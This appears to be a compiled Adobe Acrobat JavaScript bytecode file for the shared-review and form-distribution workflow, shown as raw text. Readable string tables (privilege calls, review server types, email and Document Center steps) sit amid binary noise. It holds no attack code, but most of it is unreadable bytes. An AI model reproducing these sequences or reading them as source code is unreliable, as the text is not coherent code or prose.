��`jmʘ�`W���ΐ�ΐ�Ӑ�Ӑ�ԐP������ΐ�ΐ�Ӑ�Ӑ�ԐP�����ΐ�ΐ�Ӑ�Ӑ�ԐP��`u�	���	ܐ��	Ո Collab
isDocDirtyapp	beginPrivalertAnnotsStringIDS_SEND_FOR_REVIEW_DOC_DIRTYcMsgoDocendPrivisInvalidSaveLocationIDS_SEND_FOR_REVIEW_SAVE_OTHERANValidateIdentitydocsOpenedByWizardpathdocPathdocreviewIDcreateUniqueDocIDserversdriversreaderEnable
viewerTypeExchangereqR
SplitAddrsoptRcanInitiateWorkflowSharedReviewisDocCenterWorkflowlength	driverURLdcDrivercatsubcatSharedReviewPayloadevntAVUMStartPayloadWrapper
reviewTypeWT_SRUseDocumentCenterUB_UB
cannedSubjPlease join the review	cannedMsg1You are invited to participate in a shared reviewdocAlreadyOpeneddelayOpenDoc	checkSize
isApproval
docModifiableaddInternalServeryurl
cDocumentName
cDocumentPathdistributionMethodoverwriteIsImplicitdoOverwritedeliveryMethodLinkClicked
deadlineIsSetmsgsubj
msgChangedraddraccessLevel0deadlineinternalDeadline	oDeadlineresultfnshserverAlwaysUseServerAlwaysUseServerFDDefault
DistMethodSettingscSettingdistributionURLNETWORK
SHAREPOINTWEBDAV
serverType&Network folderdistributionFSUI My Network Folder (send as link)URL1urn://ns.adobe.com/Collaboration/SharedReview/SMB#bUseWindowsIntegratedAuthentication&SharePoint subsite*CSPMy SharePoint Subsite8urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint&Web server folderCHTTPMy Web Folder (manually send)4urn://ns.adobe.com/Collaboration/SharedReview/WebDAVEMAILUPLOAD/ERROR: requiredReviewers field cannot be empty!CBSharedReviewComplete�������$�UAh@data
automationdrivermaxStrtitleprogressInfodialog�y�|`�����5�����5'�����5�����557�����Q;5�
��;5�
��;5	�:�:WQVQ�����5
=]�����5=
;5WQ,�����5=;5WQ;5WQ9��=������:Q9�������:Q;�
�:Q;�
�:WQ;�
�:QY@]>]�����]V]�����]@]@] B]!Z\]"Y�]#�]$�]%\]&Y�]#�]$�]%\]'Y�]#�]$�]%\](Y�	]#�
]$�]%\])�]*�
]+�],�]-�].�]/�]0�]1�]2�]3�]4YV]5X�]6ZY=7]8=9]:ZY=7]8=;]<ZY==]8X�]6�]>=?]@\`\]A\`Y=B]8=9]:=C]@C]DV]5X�]6\`Y=E]8;5F]G\`\]A\`\]A\]H\WQ�����5I5J������5I�K
�C�:Q;�
�:Q�����;�L
�Y�����5M]N�����5O]P\�:6IQ;�
�:Q�����C6QQLm;�
�:Q;�R
�9S�S�V�:�:Q;�
�:Q������5Q����VV�T
�:Q@WQ����������X�����
Ӑ���
Ӑ���ΐ��ߐ�ِ��ѐԐ�ѐ�����ΐȐ�ΐ���ʐ����ʘ�bʘ�b.И�bA��ʘ�cʘ�cИ�c)��ʘ�c{ʐИ�c���ʘ�c�ʘ�c�И�c�ʘ�c�ʘ�c�ʘ�dRʘ�dYʘ�daʘ�dmʘ�dsʘ�d�ʘ�d�ʘ�d�ʘ�dЕȐȐ���ʐʐ���ʐʐ���ʐȐ�ژ�d�ʐʐʐ�Ȑ͐��ʐ�d�����ܐ�ѐ��͐�ѐ���А(\�����e��ѐ�䐈ј�e�՘�e��ϐ��UseDocumentCenterdcDriverdriversserverURLAnnotsString!IDS_SHARED_REVIEW_STATUS_TEMPLATEreplace IDS_SHARED_REVIEW_COMPLETE_ERRORIDS_NETWORK_NO_CONNECT
reviewTypeSharedReviewEmailactionChangeDeadline"IDS_TRACKER_ACTION_CHANGE_DEADLINEAddReviewers IDS_TRACKER_ACTION_ADD_REVIEWERS%IDS_SHARED_REVIEW_COMPLETE_STEP_TITLEDebugPrintlnThe driver is:	ANDumpObjapp	beginPrivCollabgetProgressInfoendPrivoDialognCurrentTaskoDriver
oProgressInfodataoTaskSet
cDocumentPath	bDoCommitaCompleteTasksrunTask	onSuccess	onFailureoSaveFileTasksoSendEmailTasksoDocCenterTasks_createWorkspaceoDocCenterTasks_completegetAsciiSafeDocNameupdateProgress
initialize
setTaskStatussetTaskProgressgetCurrentTaskgetNumTasksrunCurrentTask
handleSuccess
handleFailurecommitnamewidthviewtype
align_fill	alignment	align_rowalign_childrenprogress_barheightprogitem_idelementsstatic_textdesc	wrap_name	ok_cancel IDS_SHARED_REVIEW_COMPLETE_RETRYok_namedescriptiondochiddencloseDocopenDocdocFScFSdocPathcPathshouldRetry
execDialogANTrustPropagateAll
setHandler�����
��
z3�cxttaskDatadataidbezelMessage	sourceURLeaddrparamsbUBscriptPropscScriptcVersionScriptsavePropsRemoteurlsavePropsLocal1~��`TT6QT5WQT�
�;5�:QV5T�
�:Q�V55WQ=	WQV5
pT55WQ9��=
V�:Q;�
�:QV5WQ;�
�:Q;5WQ";�
�:Q;�
�V55�:WQ;5WQ;�
�:QV5x=y=y'=y�z�;5WQ�V5x;5y(;5y,;5 y0z>;5!WQ+;5"WQ;5#WQ;5$WQYV5%]%V]&V5']V](V55)5*])V55+],V55-]-V55.]/V50=	V51B]2V5=]3B]4V5];55]6;7�8
�V59�:]9V]:\WQ9;�;�=<�:Q;�
�:Q;�=
�V�:Q;�
�:QV5>WQY;5?]@V]&V5']'V]A�����5*]BV55+]+V55-]-V55.].V5=]3V50=	V51B]2V5];55]6;7�8
�V59�:]9\WQV(9C�C��V�:=D#9C�C��V�:=DWQ9C�C��Y;5E]F;5G]H;5I]J;5K]L;5M]N;5O]P;5Q]R;5S]T;5U]V;5W]XV]YV5
]Z\�:=DW	Q;�
�:QV5%�[
�=\�V	�:QV5%�[
�=]�V�:Q;�
�:Q;�
�:QV5%5�^
�:Q;�
�:QV5=EQV5
 TYB]_\W
QV
V5a6`Q;�
�:QV
5`=b@V5c5d5eV
=f6`QV
V5h6gQn9i�i�9j�j�V5h�:�:WQV
;�k
�V�:6gQV
5`;l5mV
C6nQ;�
�:QVV
;p5q6oQ;�
�:QV5%�r
�V
�:Q;�
�:QYB]_\WQVB6nQV5x=y=y=y
zVV5s6gQVV;p5q6oQ;�
�:QV5%�r
�V�:Q;�
�:QV5%5�t
�V�C�B�:QVC6QT�
�:Q}�vW
Q;u�v
�V
5w�:Q;�
�:Q;�x
�V5%�:Q;�
�:QT�y
�:Q�����̐̐��ڐ������ϐ������ѐɐ��k��ѐ�ِ��ѐ̐�ѐ��Ӑ����ѐ�ΐ�ѐ��`����m
��`�m
��`�mʘ�`͐��	ΐP�����`l���h��`��h��`��hʘ�`֐��ΐP�����ΐP�����ΐP���P�����	ΐP��`�͐Ȑ͐ȐאҐҐҐ�
ؐӐ�͐ϐސ͐���	՘�a�ѐ�Ր�ѐ�̐��ϐȐ͐ȐӐҐҐҐӐ�
ؐ͐ϐ㐐�#�ј�a8Ґј�aQѐ�ј�a��ϐϐϐϐϐϐϐϐϐϐȐҐʘ�a��ѐ�ސ�ސ�ѐ���ѐ�ِ�ѐ��Ԉ2�����ː���ѐ�ѐ���;�����ΐ�֐����ꐈݐ�����	ʐ��ѐ���Ә�a�ѐ�ؐ�ј�a��ː���ʐ�`:��m
�m
�mʘ�a�����	ѐP����Ә�b�ѐ�ؐ�ј�b�ᐈʐ��x��ʐ��	ژ�b�ѐ�ڐ�ѐ��π{��cxtdata
setTaskStatusAnnotsString*IDS_SHARED_REVIEW_SAVE_SHARED_REVIEW_STARTsaved
handleSuccesscompleteidUseDocumentCenterdcWorkspaceURL
DebugAlert9Saving the file for dc case with workspaceURL: sourceURL:app	beginPrivuserendPriv$IDS_SHARED_REVIEW_STATUS_INITIATE_DCCollaburiConvertReviewSource	sourceURLidentityemaildistributionMethodEMAILUPLOADMANUAL(IDS_SHARED_REVIEW_STATUS_INITIATE_ATTACH
serverTypeIDS_SHARED_REVIEW_SMB_NAME!IDS_SHARED_REVIEW_SHAREPOINT_NAMEIDS_SHARED_REVIEW_WEBDAV_NAME,IDS_SHARED_REVIEW_STATUS_INITIATE_SMB_UPLOAD3IDS_SHARED_REVIEW_STATUS_INITIATE_SHAREPOINT_UPLOAD/IDS_SHARED_REVIEW_STATUS_INITIATE_WEBDAV_UPLOAD(IDS_SHARED_REVIEW_STATUS_INITIATE_MANUALdoc	initiatorreviewIDsourcedriver	driverURLtoinviteesccinitDatesentDateinternalDeadline	oDeadlinedeadDaterequireSaveui
viewerVersionversionInfoMathabsaccessLevelbezelMessageDebugPrintlnRegistering review - params:registerReviewreaderEnableIDS_SEND_FOR_REVIEW_VERSION_ERRcAcroVersionreviewSource	driverURICBFreezeFunc()language	cLanguageIDS_SORT_WARNING_TITLEcTitleIDS_VERERR_SR_REcReaderIDS_VERERR_SR_RE_ENU
cReaderENUIDS_VERERR_SR_OLD
cViewerOldIDS_VERERR_SR_OLD_ENU
cViewerOldENUIDS_VERERR_SR_NO_REcViewerIDS_VERERR_SR_NO_RE_ENU
cViewerENUIDS_VERERR_SR_DC_REcReader9OrLaterIDS_VERERR_SR_DC_RE_ENUcReader9OrLaterENUbShowReaderbUseDocumentCenter	addScript+com.adobe.acrobat.SharedReview.VersionCheck'com.adobe.acrobat.SharedReview.RegistertakeOwnershipOfCommentsbPromptToOverwritecFSdistributionFSCHTTPserverSettings#bUseWindowsIntegratedAuthenticationCSSOcPathdistributionURLencodeURIComponentANPlatformPathToURLuriToDIPath
fileSystemdefaultbSaveAsReadOnlycUsageRightssubmitFormUsageRightsRMAsaveAs
cDocumentPathsyncconsoleprintlnstackunregisterReview
handleFailure������$/msg��a;5�EWQ;5�
��: D5Q9��;5�;5�:;5�YA]	=
]=]
=]=]=]=]=]=]=]=]=]= ]!\WQ;"�#
�V�:Q�Ӑ�
�������ʐʐʐʐʐʐʐʐʐʐʐϐ���	Ոapp
viewerVersion
viewerTypematchrequestPermission
permissionannotcreategranteddoc{initiator}	initiator
{reviewID}id{reviewSource}source{driverURI}driver{to}invitees
{initDate}sentDate
{deadDate}deadDate
{requireSave}requireSave{cc}cc{distributionMethod}distributionMethod
{versionInfo}versionInfo
{accessLevel}accessLevelCollabregisterReviewReader�������-
msgF��9a;5�E"Q;5�
��: �YA]=]=]=	]
=]=
]=]=]=]=]=]=]=]\WQ;�
�V�:Q�Ӑ�	������ʐʐʐʐʐʐʐʐʐʐʐϐ���	Ոapp
viewerVersion
viewerTypematchdoc{initiator}	initiator
{reviewID}id{reviewSource}source{driverURI}driver{to}invitees
{initDate}sentDate
{deadDate}deadDate
{requireSave}requireSave{cc}cc{distributionMethod}distributionMethod
{versionInfo}versionInfo
{accessLevel}accessLevelCollabregisterReviewReader������(�jbUseDocumentCenteralertMessagebShowReader0�C�Sa
A5;A;�R6Q;=6Q;=6Q;5;5J;=
6	Q;=6Q;=6
Q;=6QE;=6	Q;=6Q;=6
Q;=6Q;5�=;B6Q;5�=;B6Q=WQ;5�=DQ;5�>VC;�	6Q;�6Q;=6Q;5�=DQ;5�>VC;�	6Q;�6Q;=6Q;5=�;5;5EQ;5 x;5	WQ;5�	;5WQ;� 
�V�?�?�:?A�!
�;5�B�:Q;C6Qw="WQ;5�EQ;5 V;�#
�Y;5
]$;5]%;5]&\�:Q;C6Q;5;5EQ;5 �VCu;5	WQ;5�	;5WQ;� 
�V�?�?�:?#;�'
�;5�C�:QI;� 
�;5
�?�?�:?#;�'
�;5�C�:Q;C6Q����ѐ��А�А�E���А�А�А�Ր����А�А�А�И�aj���0̐���0̐�ɐ�������Ґ��͐�А�������Ґ��͐�А�������ۈ<���ΐ���ΐ��1ڐ�	ј�a���ɐ�ӈ%����	���	̐��ۈ<���p�ΐ���ΐ���㐐�����ސ��	̈ADBE	undefinedObjectLANGUAGE{cLanguage}Viewer_string_Title{cTitle}applanguageViewer_RMA_string_Reader	{cReader}Viewer_RMA_string_Viewer_Old{cViewerOld}Viewer_RMA_string_Viewer	{cViewer}"Viewer_RMA_string_Reader_9_OrLater{cReader9OrLater}{cReaderENU}{cViewerOldENU}{cViewerENU}{cReader9OrLaterENU}Reader_Value_AskedViewer_Value_Asked{bUseDocumentCenter}Reader_Need_VersionReader_Value_New_Version_URL4http://www.adobe.com/products/acrobat/readstep2.htmlViewer_Need_VersionViewer_Value_New_Version_URL
viewerTypeReader
viewerVersionalertgetURL
{bShowReader}response	cQuestioncDefaultcTitle	launchURL����eQ�������$cxttaskDataaddStringToPayloadParams�m�bT�
�;5�:Q�����55=bY\WQV=6QV=	6Q;
�
�:Q;�
�V�:Q;
�
�:Q��ڐ����ʐ�ΐ�ΐ��ѐ�Ր�ш
setTaskStatusAnnotsString,IDS_SHARED_REVIEW_SAVE_SHARED_REVIEW_SUCCESSserverURL9urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.comnameADC_Upload_CompletevalTrueapp	beginPrivCollabAVUMAddStringToPayloadWrapperendPriv�������$cxttaskDataaddStringToPayloadParams���.bT�
�;5�:Q�����55=bY\WQV=6QV=	6Q;
�
�:Q;�
�V�:Q;
�
�:Q��ڐ����ʐ�ΐ�ΐ��ѐ�Ր�ш
setTaskStatusAnnotsString*IDS_SHARED_REVIEW_SAVE_SHARED_REVIEW_ERRORserverURL9urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.comnameADC_Upload_CompletevalFalseapp	beginPrivCollabAVUMAddStringToPayloadWrapperendPriv�����
	�
P��cxttaskDatadata	sentEmailpropscopyMe
limitedAccesstoList
reviewInfotoccsubjmsgurltitleU�x�CbTT6QT5WQV5=}V5$T�
�;5�:QQV5=	$T�
�;5
�:QT�
�;5�:Q9��=
�:Q�BWQ9��=V5�:QV5=�YB]V5�
�=�:]V5�
�=�:]V5]V5]V55]\WQ9��=V5V5�:QV5�CWQBWQ; �!
�:Q;"5#WQ; �$
�:QV5=V5WQVV=V5%WQ;&�'
�V5(�:�WQ; �!
�:Q;"�)
�V5*�:WQ; �$
�:Q; �!
�:QV5+�,
�V5-�V5.�V�V�V5�V5�V5=	�:Q; �$
�:Q; �!
�:QV5+�/
�:Q; �$
�:Q�V5=	�9��=0V51�:QV5=2P; �!
�:Qn3; �4
�V�:o3Q; �$
�:QCWQ^V5=5K; �!
�:Qn3; �6
�V�:o3Q; �$
�:QCWQ�V5=7�V5=2P; �!
�:Qn3; �4
�V�:o3Q; �$
�:QCWQ^V5=5K; �!
�:Qn3; �6
�V�:o3Q; �$
�:QCWQ�V5x=2y=5y�=ykzk98�8�V5�
�=�:�:WQ98�8�V5�
�=�:�:WQ98�8�V5�:W	Q98�8�V5�:W
Q=9V=:V	=;V
=<WQV;=V=>VWQ9��=?V�:QYB]V5�
�=�:]V5�
�=�:]V5]V5]V55]\WQ; �!
�:Qn3; �4
�V�:o3Q; �$
�:QCWQ�YB]V5�
�=�:]V5�
�=�:]V5]V5]\WQ; �!
�:Qn3; �6
�V�:o3Q; �$
�:QCWQ
V�V
QV5=	;5@W
Q;5AW
Q;5BWQ; �!
�:Q;"�C
�V
�=D�V�=E�:Q; �$
�:QT�F
�:Q��vW
Q;G�H
�V
5I�:Q; �!
�:Q;"�J
�V5�:Q; �$
�:Q; �!
�:QV
5K=L&; �M
�;5N�:Q*; �M
�YV
5K]\�:Q; �$
�:QT�O
�:Q���̐̐�������
ߐ����ߐ��ڐ��Ր�����ސ���敐����ސސ͐͐א���琐��~�����ѐ�ΐ�ѐ�ې��֐����ѐݐ�ѐ��ѐ��А�ѐ��ѐ�Ԑ�֐����ڕ��ސ�K���	ѐ�	ߐ�	ѐ�	ʐ������	ѐ�	ߐ�	ѐ�	ʘ�b�����K���	ѐ�	ߐ�	ѐ�	ʐ������	ѐ�	ߐ�	ѐ�	ʘ�b���`����m
��b�m
��b�mʘ�b�����ېې�ӐԐ���p���	٘�bȐ��ސސ͐͐א���	ѐ�	ߐ�	ѐ�	��P�������ސސ͐Ґ���	ѐ�	ߐ�	ѐ�	��P����P��b�������Ӑ��ΐ�ΐ��ѐ�合ј�c��x��ʐ��	ڐ�ѐ�ڐ�ѐ��ѐ�!��ᐐ�合ѐ�π{��cxtdatadistributionMethodMANUALUseDocumentCenter
setTaskStatusAnnotsString/IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_START_DCactionChangeDeadline5IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_DEADLINE_START,IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_START
DebugAlertin send email tasksdata.distributionMethod 
reviewTypeSharedReviewEmailbUIreqRjoin;cTooptRcCcsubjcSubjectmsgcMsgdocpathcAttachmentsadfapp	beginPrivCollabcopyMeendPrivuserMathabsaccessLevel
getReviewInforeviewIDswConn	shareFile	docCtrURL
cReviewURL
disconnectdata.sendAttachmentsendAttachmentEMAIL
sendResultmailMsgWithAttachmentUPLOADmailMsgAddReviewersescapemailto:	?subject=&body=	&ui=false	undefined&cc=url : 6IDS_SEND_FOR_SHARED_REVIEW_CHANGE_DEADLINE_CONFIRM_MSG&IDS_SEND_FOR_SHARED_REVIEW_CONFIRM_MSG!IDS_SEND_FOR_REVIEW_CONFIRM_TITLE
alertWithHelpAnnots:SharedReviewConfirm
handleSuccessconsoleprintlnstackunregisterReviewmessageUser canceled operation.alert!IDS_SHARED_REVIEW_SEND_MAIL_ERROR
handleFailure����e�W�����S�
cxttaskData����c�����5=$T�
�;5�:QT�
�;5�:Q����ߐ��ڈOactionChangeDeadline
setTaskStatusAnnotsString7IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_DEADLINE_SUCCESS.IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_SUCCESS�����S�
cxttaskData����c�����5=$T�
�;5�:QT�
�;5�:Q����ߐ��ڈMactionChangeDeadline
setTaskStatusAnnotsString5IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_DEADLINE_ERROR,IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_ERROR�������9�dcxttaskDatacURLcopyMeinviteespropsswConn
initResult3�,�+c
9��=�:QTT6QT�
�;5=�:QT55WQVT5	WQV=
WQ;�
�:Q;
�
�V�:WQ;�
�:QCWQ;�
�:Q;
5WQ;�
�:QT55�
�=�:=T55�
�=�:WQV V=T55WQY�����5]V]T55]T55]T55];� 
�����5!�:�="
=#]$="]%\WQT55&WQV�T5=(6'Q;�
�:QV�)
�V�:WQ;�
�:Qn*V5*o*Q9+�+�V�:Q;*>�9,�,�=-�:Q9,�,�=.V5/50�:Q9��=.V5/50�:QT5V5/506'QT55'�1
���:=
T55'=
6'QT�2
�:Qe9��=3�:Q9��=4V55�:Q9,�,�=4V55�:QT�6
�:Q/9,�,�=7�:Q9��=8�:Q��Ր�̐����ѐ��p���p���ѐ�ؐ�ѐ���ѐ�ΐ�ѐ��Ȑ��ې���ӐȐ�ҐҐҐ�
ِϐ��ѐ������Ә�cY�	ѐ֐�ѐ��Ӑ�Ӑ�ʕ��
Ր�
㐈
㐈
ې�����p���
Ԑ����
Ր�
ސ�
ސ��
Ԙ�cu��Ր�Ո"
DebugAlert'running oDocCenterTasks_createWorkspacecxt
setTaskStatusAnnotsString)IDS_SHARED_REVIEW_CREATE_REVIEW_DIRECTORYAdobe online servicesdatacSettingreviewID/app	beginPrivCollab	uriEncodeendPrivcopyMereqRjoin;optRuser	driverURLdriverinviteessubjsubjectmsgbody
cDocumentPath	localPathMathabsaccessLeveltruefalsesetACL
skipUploadswConndcWorkspaceURLinitiateWorkflowresult	ANDumpObjDebugPrintln?Comment repository successfully created on the document center.workspaceURL: propsworkspaceURLsubstr
handleSuccessECould not connect to document center: comment repository not created. *** Workflow initiation failed: errorMessage
handleFailureswConn is nullNeed to login again������cxttaskDataH�Z�{cˆ(������cxttaskDatat���|cˆ(�����M�=�zcxttaskDatacURLcopyMeinvitees
uploadName	filePropspropsswConn
initResult��U��c9��=�:QTT6QT�
�;5�:QT55WQVT5WQV=	WQ;
�
�:Q;�
�V�:WQ;
�
�:QCWQ;
�
�:Q;5WQ;
�
�:QT55�
�=�:=T55�
�=�:WQV V=T55WQT55�
�T55�
�=	�:?�T55��:WQYT55]V]�]\WQ9��V�:QT5Z\6QT55T55�V8QY�����5]V] T55!]"T55#]$T55];%�&
�����5'�:�=(
=)]*=)]+\WQT55,WQ�V�;
�
�:QV�-
�V�:WQ;
�
�:Qn.V5.o.Q9��V�:Q;.>.T�/
�:Q90�0�=1�:Q92�2�=3�:Q;
�
�:QV�4
�:Q;
�
�:Q/90�0�=5�:Q9��=6�:Q��vWQ;7�8
�V59�:Q;
�
�:Q;�:
�5;�:Q;
�
�:QT�<
�:Q���Ր�̐��ڐ�ѐ��p���p���ѐ�ؐ�ѐ���ѐ�ΐ�ѐ��Ȑ��ې��ѐ��ҐȐ̐���Ӑ��Ӑ�䐐��ӐȐ�ҐҐ�Ґ�
ِϐ��ѐ����ޕ��
ѐ֐�
ѐ��
Ӑ�
Ӑ)���ϐ�ڐ����Ր���
ѐ�
ϐ�
֐����
Ր�
�x���ʐ��	ڐ�ѐ��ѐ��π{��
DebugAlert running oDocCenterTasks_completecxt
setTaskStatusAnnotsStringIDS_SHAREFILE_SING_PROGRESSdatacSettingreviewID/app	beginPrivCollab	uriEncodeendPrivcopyMereqRjoin;optRuser
cDocumentPath	substringlastIndexOflength	localPath
uploadNameuploadResult	ANDumpObj
filesToUpload	driverURLdriverinviteessubjsubjectmsgbodyMathabsaccessLeveltruefalsesetACL
skipUploadswConninitiateWorkflowresult
handleSuccessDebugPrintlnWorkflow initiation succeeded
DebugThrowWorkflow initiation failed
disconnectswConn is nullNeed to login againconsoleprintlnstackunregisterReviewdoc
handleFailure����e�������cxttaskDataq����cT�
�;5�:Q��ڈO
setTaskStatusAnnotsString.IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_SUCCESS������cxttaskData��p��cT�
�;5�:Q��ڈM
setTaskStatusAnnotsString,IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_ERROR�����j�docNameresultescaped�����cTWQ9��T�:WQVTAV�
��=�:WQV�
��=�:WQV��֐���ސ�ސ���escapereplace00$1\%u\%([0-9A-F][0-9A-F])�����3�
�����cA�
�A55�:QA�
�A55�:Q���ِ�و:
setTaskStatus
oProgressInfocTaskStatussetTaskProgressnPercentComplete�������H�tdialogdataidtoLoadtoEnable��q��cA5WQA�
�V5�:=V5WQA5A5�
�A�:QVYV5V5	V5
V557]
V5�
�=�:]V5�
�=�:];�R]T]V]\6QVB6QAT6Q;�
�:QV5==V5V55
�
�V�V55�:6QV5= 4AA5"�#
�V�V55�:6!Q#AYY>]$\]%\6!Q;�&
�:QY='](\WQYV5)]*B]+B],\WQ9-�-�=.�:Q9/�/�A5!�:Q90�0�=1V5=2V53�:QV5=2A54A54�$95�5�A56�:8Q5V5 �A54A54�$95�5�A57�:8Q����� ^V53x=8y=9y=:y
z2A54A54�$95�5�A56�:8Q�9-�-�=;�:QA54A54�$95�5�A5<�:8QA54A54�$95�5�A57�:8QA54A54�$95�5�A5=�:8QV5= NV5>=?EQV5>=@'T�A
�YB]+B],\�:QT�B
�V�:QT�B
�Y;C5D]+\�:QT�E
�V�:QA5=G6FQ�ʐ���Ԑ�����
�ސސϐȐϐ���ʐ��ʐ��ѐ��������/���ސ�ѐ�Ԑ㐐�Ր�֐���퐐�-���ѐܐ���������ѐא�	���`Q�m
�m
�mʘ�d1����ѐאPʘ�d;��Ր�萈萈萐�������␐��Ӑ�合Ӑ��шdatagetAsciiSafeDocName
cDocumentName__reviewID
oProgressInfo
setHandlercompleteUseDocumentCenterdcDriverdriversserverURLdriverreqRjoin;tooptRccDateinitDateoDialogidshouldRetryapp	beginPriv
reviewTypeSharedReviewEmail	sourceURLgetInitiatorSourceSettingsSharedReviewoTaskSetoDrivergetWorkspaceCreatorlengthaTasksendPrivdescbWorkspaceSetuptaskokcancelDebugPrintlnCurrent task set is:	ANDumpObj
DebugAlertinti email task  + distributionMethodaCompleteTasksANTrustPropagateAlloSendEmailTasksoSaveFileTasksEMAILUPLOADMANUAL$creating workspace for shared reviewoDocCenterTasks_createWorkspaceoDocCenterTasks_completeactionChangeDeadlineAddReviewersvisibleloadAnnotsStringIDS_OKenablestateRUNNING�����E�statusmsg��L�Rd;5�
��T�:WQA5�
�YV]\�:Q�㐐��!AnnotsString!IDS_SHARED_REVIEW_STATUS_TEMPLATEreplaceoDialogloaddesc	{cStatus}�����J�
nPercentnSegLen	nCompletem�c�Yd�dA�
�:WQA5T�dWQA5�
�YVV]\�:Q�Ӑѐ���3getNumTasksnCurrentTaskoDialogloadprog�������nIdx���ad>A5EQA5A55�A55A57GA55�A5+A5A55�WQA5V7�����ؐ���ې�ˈ!nCurrentTaskoTaskSetaTaskslengthaCompleteTasks������	��mdA55�A5����݈BoTaskSetaTaskslengthaCompleteTasks�����p��%�sd�A�
�>�:QA�
�:�
�A�A5�:QA55=A�
��d�:Q�vWQ������ϐ������x��ʐ�{���setTaskProgressgetCurrentTaskrunTaskoTaskSetdatastateRUNNING����e[�����'�B#D���dA�
�:�
�A�A5�:QA5#?�
6QQA5A�
�:�A5C6Q�����5=AA�	
�;
5�:QA5�
�YC]\�:QU�����5=<A�	
�;
5�:QA5�
�YC]\�:QA�
�A5�:QA�
�:Q���ᐈՐ����˕���͐��<���ؐ�䐐����ؐ�ߘ�d��ِ��	͈getCurrentTask	onSuccessoTaskSetnCurrentTaskgetNumTasksdatabWorkspaceSetupactionChangeDeadline
setTaskStatusAnnotsString"IDS_SHARED_REVIEW_DEADLINE_SUCCESSoDialogenableokAddReviewers&IDS_SHARED_REVIEW_ADD_REVIEWER_SUCCESScommitrunCurrentTask�����0�9 es�j�d�T;EQT5;>;5�
��T5�:WQA�
�V�:QA�
�:�
�A�A5�:QA5	=6
QA5�
�Y;5]\�:QA5�
�YC]C]\�:QA5�
�YC]C]\�:QA>6QA�
�>�:Q�vWQ��������萐�ѐ���ᐈѐ�萈合合Ȑ��x��ʐ�{���	undefinedtextAnnotsString IDS_SHARED_REVIEW_COMPLETE_ERRORreplace
setTaskStatusgetCurrentTask	onFailureoTaskSetdatastateRETRYoDialogload IDS_SHARED_REVIEW_COMPLETE_RETRYokvisiblecancelenablenCurrentTasksetTaskProgress����e%error%�������
=
dialog�A�dA55x=y=y5z�A>6QA5=6QA5C6QxA5B6Q�����5=M�����5=	EQ�����5=
T�
�=�:Q��`����m
��d�mʘ�d���Ȑ�ѐ�͐P����͐������Ր�P��datastateRETRYRUNNINGnCurrentTaskshouldRetry
reviewTypeSharedReviewactionChangeDeadlineAddReviewersendok	{cStatus}%error%�\�����N�#�#data	initiator	localPath
initiationURLdriverdataSetPathsavePathdistributionMethodinviteesccsubjectbodysentDateIWStatusparams�+e9��=�:Q9��=�:Q;�
�:Q;5WQ;�
�:Q=WQ=WQ=WQ=WQ=WQ9��=	V�:QVQT5
x=y=y=
yz%?WQ�WQ�WQ=WQ=WQ=W	Q=W
Q=WQ?WQ9��T5�:QT5�
�=�:WQT5�
�=�:WQT5W	QT5W
Q9��V�:Q;�RWQ9��=�:QYV]V]V]V	]V
]V]V]V]V]V]V] V]
V]!\W
Q9��="�:QV
��Ր��Ր�ѐΐ�ѐ�ɐɐɐɐɐ��ِ��`D��m
��e6m
��e:mʘ�e2���P�����P�����P���ɐɐɐɐɐ���ؐ�ݐ�ݐ�̐�̐�Ӑ�ΐ��Ր��ȐȐȐȐȐȐȐȐȐȐȐȐ͐���Ր���
DebugAlert'begin CBFormDistributionEmailComplete()1app	beginPrividentityemailendPriv3distributionMethodEMAILUPLOADMANUALreqRjoin;optRsubjmsgDate5	initiatorinviteesccsubjectbodysentDatedriver
initiationURL	localPathsavePathdataSetPathIWStatusend form distribution complete�����K�<-Xdata	initiatororiginalPath
initiationURLdriverdataSetPathsavePathdistributionMethodinviteesccsubjectbodysentDateIWStatus	swConnect	sessionIDsecretaccessLevelcopyTosessionInfocopyMeallowAnonymousparams]	fe9��=�:Q9��=�:Q;�
�:Q;5WQT5WQ9��T5�:Q9��V�:Q9��=�:QVQVQT5	WQT5
WQ;�
�:Q9��T5
�:Q9��V�:Q9��=�:QVQT5
x=y=y=yz%?WQ�WQ�WQT55WQV�
��=�:WQT5C:;�
�:Q;5WQ;�
�:QT555WQ=WQ=WQ=W	Q=W
Q=WQ?WQT5C�WQeT5�
�=�:WQT5�
�=�:WQT5 W	QT5!W
Q;"�RWQ@W
Q@WQ@WQ@WQ@WQT5C�T5#W
Q;�
�:QV
�$
�:WQ;�
�:QV5%WQV5&WQ;'�(
�T5)�:WQCWQ;�
�:Q;5*WQ;�
�:QVT5+WQT5, WQ9��=-V�:QYV].V]/V]0V	]1V
]2V]3V]4V]5V]6V]7V]8V]
V],V]%V]&V])V]9V]:\WQ9��=;�:QV��Ր��Ր�ѐΐ̐�ؐ�Ӑ��Ր��̐̐�ѐ�ؐ�Ӑ�Ր��`D��m
��e�m
��e�mʘ�e}���P�����P�����P��e��ѐ�ސ��5���ѐ�ΐ�֐���֐�ɐɐɐɐɐ������ː����ݐ�ݐ�̐�̐�Θ�e�����������̐�ѐҐ�	ѐ�̐�̐�ݐ���ѐ�ΐ�	ѐ���̐���͐��ِ��ȐȐȐȐȐȐȐȐȐȐȐȐȐȐȐȐȐ͐���Ր���
DebugAlert"begin CBFormDistributionComplete()1app	beginPrividentityemaildocPath2cDataSetPath
cDocumentPathendPriv3distributionMethodEMAILUPLOADMANUALserverURLreplaceFormsUseDocumentCenterCollabdocCenterURLSettingscSettingplaceSubmitButtonreqRjoin;optRsubjmsgDateswConngetSessionInfo	sessionIDsecretMathabsaccessLevelcopyMeuserallowAnonymous5	initiatorinviteesccsubjectbodysentDatedriver
initiationURLoriginalPathsavePathdataSetPathIWStatuscopyToend form distribution completeSharedReview�������/�*wizData
serverDescdescription
maxDescStriserverid CBSharedReviewMakeSelectFunctionD�,�eZ\WQYY\]@]B]\WQ=WQT5K�mMWQV��

